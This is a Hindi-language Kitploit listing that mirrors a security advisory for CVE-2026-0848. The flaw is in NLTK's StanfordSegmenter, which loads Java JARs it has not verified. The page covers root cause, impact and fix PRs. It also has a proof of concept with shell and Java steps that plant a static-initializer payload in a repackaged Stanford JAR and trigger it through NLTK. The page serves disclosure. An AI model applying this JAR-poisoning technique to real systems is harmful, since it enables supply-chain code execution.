Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter बाहरी Java .jar फ़ाइलों को बिना सत्यापन या सैंडबॉक्सिंग के गतिशील रूप से लोड करता है। यदि कोई हमलावर JAR की आपूर्ति या प्रतिस्थापन कर सकता है (जैसे, ज़हरीला मॉडल डाउनलोड, MITM पैकेज स्वैप, या डिपेंडेंसी पॉइज़निंग), तो आयात समय पर मनमाना Java बाइटकोड निष्पादित हो जाता है। | Kitploit
उपकरण/GitHubGitHub/hyperps/cve-2026-0848
भेद्यता विश्लेषणकोड विश्लेषणशोषणआपूर्ति श्रृंखला सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHubhyperps/cve-2026-0848

CVE-2026-0848

रिपॉजिटरी देखें
126 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

nltk.tokenize.StanfordSegmenter बाहरी Java .jar फ़ाइलों को बिना सत्यापन या सैंडबॉक्सिंग के गतिशील रूप से लोड करता है। यदि कोई हमलावर JAR की आपूर्ति या प्रतिस्थापन कर सकता है (जैसे, ज़हरीला मॉडल डाउनलोड, MITM पैकेज स्वैप, या डिपेंडेंसी पॉइज़निंग), तो आयात समय पर मनमाना Java बाइटकोड निष्पादित हो जाता है।

साझा करें

CVE-2026-0848 — NLTK StanfordSegmenter: अविश्वसनीय JAR लोडिंग के माध्यम से मनमाना कोड निष्पादन


अवलोकन

क्षेत्रविवरण
CVE IDCVE-2026-0848
पैकेजnltk (प्राकृतिक भाषा टूलकिट)
रजिस्ट्रीPyPI
प्रभावित संस्करण<= 3.9.2
भेद्यता प्रकारCWE-20: अनुचित इनपुट सत्यापन
CVSS स्कोर10.0 (गंभीर)
हमला वेक्टरनेटवर्क
हमला जटिलतानिम्न
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता इंटरैक्शनकोई नहीं
दायरापरिवर्तित
गोपनीयता प्रभावउच्च
अखंडता प्रभावउच्च
उपलब्धता प्रभावउच्च
रिपोर्ट किया गया6 दिसंबर 2025
CVE प्रकाशितमार्च 2026
समर्थित द्वाराPalo Alto Networks / Prisma AIRS

विवरण

nltk.tokenize.StanfordSegmenter subprocess के माध्यम से बाहरी Java .jar फ़ाइलों को गतिशील रूप से लोड करता है, बिना किसी अखंडता सत्यापन, हस्ताक्षर जांच, या सैंडबॉक्सिंग के। यह वर्ग पूरी तरह से हमलावर-नियंत्रित पैरामीटर जैसे path_to_jar, path_to_model, path_to_dict, और java_class स्वीकार करता है, और उन्हें सीधे java -cp आह्वान में पास करता है।

यदि कोई हमलावर JAR फ़ाइल की आपूर्ति या प्रतिस्थापन कर सकता है — जहरीले मॉडल डाउनलोड, मैन-इन-द-मिडिल पैकेज स्वैप, निर्भरता विषाक्तता, या दूषित रिलीज़ मिरर के माध्यम से — तो JVM के स्थैतिक आरंभकर्ता तंत्र के माध्यम से क्लास-लोड समय पर मनमाना Java बाइटकोड निष्पादित होता है। यह एक आपूर्ति श्रृंखला रिमोट कोड निष्पादन भेद्यता का गठन करता है और Python रनटाइम से पूरी तरह बच निकलता है।


प्रभावित घटक

फ़ाइलपंक्तियाँविवरण
nltk/tokenize/stanford_segmenter.pyL53–L118बिना किसी सत्यापन के हमलावर-नियंत्रित path_to_jar, path_to_model, path_to_dict और java_class स्वीकार करता है
nltk/internals.pyL220–L300उपयोगकर्ता-नियंत्रित JAR पथ और क्लासपाथ के साथ सीधे Java निष्पादन शुरू करता है, कोई सैंडबॉक्सिंग या चेकसम सत्यापन नहीं
nltk/internals.pyL109–L152subprocess.Popen() बिना सत्यापित क्लासपाथ इनपुट के Java निष्पादित करता है, जिससे JVM मनमाना बाइटकोड लोड कर सकता है और स्थैतिक आरंभकर्ता चला सकता है

CVSS वेक्टर

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
मीट्रिकमान
हमला वेक्टरनेटवर्क
हमला जटिलतानिम्न
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता इंटरैक्शनकोई नहीं
दायरापरिवर्तित
गोपनीयताउच्च
अखंडताउच्च
उपलब्धताउच्च

प्रभाव

सफल शोषण हमलावर को NLTK विभाजन प्रक्रिया चलाने वाले सिस्टम पर पूर्ण नियंत्रण प्रदान करता है:

  • मनमाना Java कोड निष्पादन — दुर्भावनापूर्ण JAR में एम्बेडेड कोई भी बाइटकोड Python/Java प्रक्रिया के विशेषाधिकारों के साथ चलता है
  • Python रनटाइम से बच निकलना — निष्पादन JVM में चला जाता है, Python-स्तरीय सैंडबॉक्सिंग को पूरी तरह से दरकिनार करता है
  • OS-स्तरीय कमांड निष्पादन — हमलावर मनमाना शेल कमांड चलाने के लिए Runtime.getRuntime().exec() या ProcessBuilder को आमंत्रित कर सकते हैं
  • डेटा चोरी और संशोधन — प्रक्रिया द्वारा पढ़े जा सकने वाले सभी फ़ाइलों, पर्यावरण चर, API कुंजियों और रहस्यों तक पहुंच
  • पूर्ण पर्यावरण समझौता — CI/CD, उत्पादन NLP पाइपलाइनों, या सर्वर वातावरण में, एक एकल दुर्भावनापूर्ण JAR पूर्ण होस्ट अधिग्रहण की ओर ले जाता है

उच्च-जोखिम तैनाती परिदृश्य

परिदृश्यप्रभाव
ML शोधकर्ता इंटरनेट से एक पूर्व-प्रशिक्षित विभाजक लोड करता हैरिमोट हमलावर को कोड निष्पादन प्राप्त होता है
संगठन दूषित चीनी विभाजन मॉडल ZIP डाउनलोड करता हैउत्पादन NLP पाइपलाइन में मैलवेयर निष्पादित होता है
CI/CD सर्वर गैर-HTTPS मिरर से wget/unzip के माध्यम से मॉडल स्थापित करता हैपूर्ण पर्यावरण समझौता
निर्भरता अधिग्रहण या जहरीला रिलीज़ मिररपूर्ण आपूर्ति श्रृंखला RCE

यह भेद्यता StanfordSegmenter का उपयोग करने वाले किसी भी NLP वर्कफ़्लो को प्रभावित करती है, जिसमें चैटबॉट, LLM प्रीप्रोसेसिंग पाइपलाइन, डेटासेट विभाजन, दस्तावेज़ वर्गीकरण और उत्पादन अनुमान सेवाएं शामिल हैं।


प्रूफ ऑफ कॉन्सेप्ट

यह जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। उन प्रणालियों के विरुद्ध परीक्षण न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

चरण 1 — कोर क्लासिफायर को दुर्भावनापूर्ण Java क्लास से बदलें

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

चरण 2 — दुर्भावनापूर्ण JAR बनाएं

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

चरण 3 — NLTK के माध्यम से ट्रिगर करें

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

आउटपुट:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE की पुष्टि करें:

ls /tmp | grep pwned_hijack
# pwned_hijack

मूल कारण

भेद्यता दो फ़ाइलों में मौजूद है:

stanford_segmenter.py — StanfordSegmenter क्लास कंस्ट्रक्टर path_to_jar, path_to_model, path_to_dict और java_class को सादे स्ट्रिंग तर्कों के रूप में स्वीकार करता है और उन्हें निम्नलिखित में से कोई भी कार्य किए बिना सीधे Java निष्पादन स्तर पर अग्रेषित करता है:

  • पथ अनुमति सूची या विश्वसनीय-निर्देशिका प्रवर्तन
  • JAR का SHA-256 या क्रिप्टोग्राफिक हस्ताक्षर सत्यापन
  • java_class पैरामीटर का ज्ञात-सुरक्षित क्लास नामों के सेट के विरुद्ध सत्यापन

internals.py — java() सहायक उपयोगकर्ता-आपूर्ति क्लासपाथ के साथ subprocess.Popen() कॉल बनाता और लॉन्च करता है। JVM प्रदान किए गए JAR में सभी क्लासेज़ को तुरंत लोड करता है, एप्लिकेशन तर्क चलने से पहले किसी भी स्थैतिक आरंभकर्ता ब्लॉक को निष्पादित करता है। कोई सैंडबॉक्स, कोई अखंडता द्वार, और इंजेक्ट किए गए बाइटकोड के निष्पादन को रोकने का कोई तंत्र नहीं है।


समाधान

भेद्यता को अपस्ट्रीम NLTK रिपॉजिटरी में पूरी तरह से हल कर दिया गया है।

संसाधनलिंक
केंद्रीय सुरक्षा सुधार (सभी CVE)https://github.com/nltk/nltk/pull/3522
शोधकर्ता का प्रारंभिक सुधार PRhttps://github.com/nltk/nltk/pull/3477 (मर्ज किया गया)

जैसे ही PyPI पर पैच किया गया संस्करण उपलब्ध हो, NLTK के पैच किए गए संस्करण में अपग्रेड करें।


उपचार

टूल डाउनलोड करें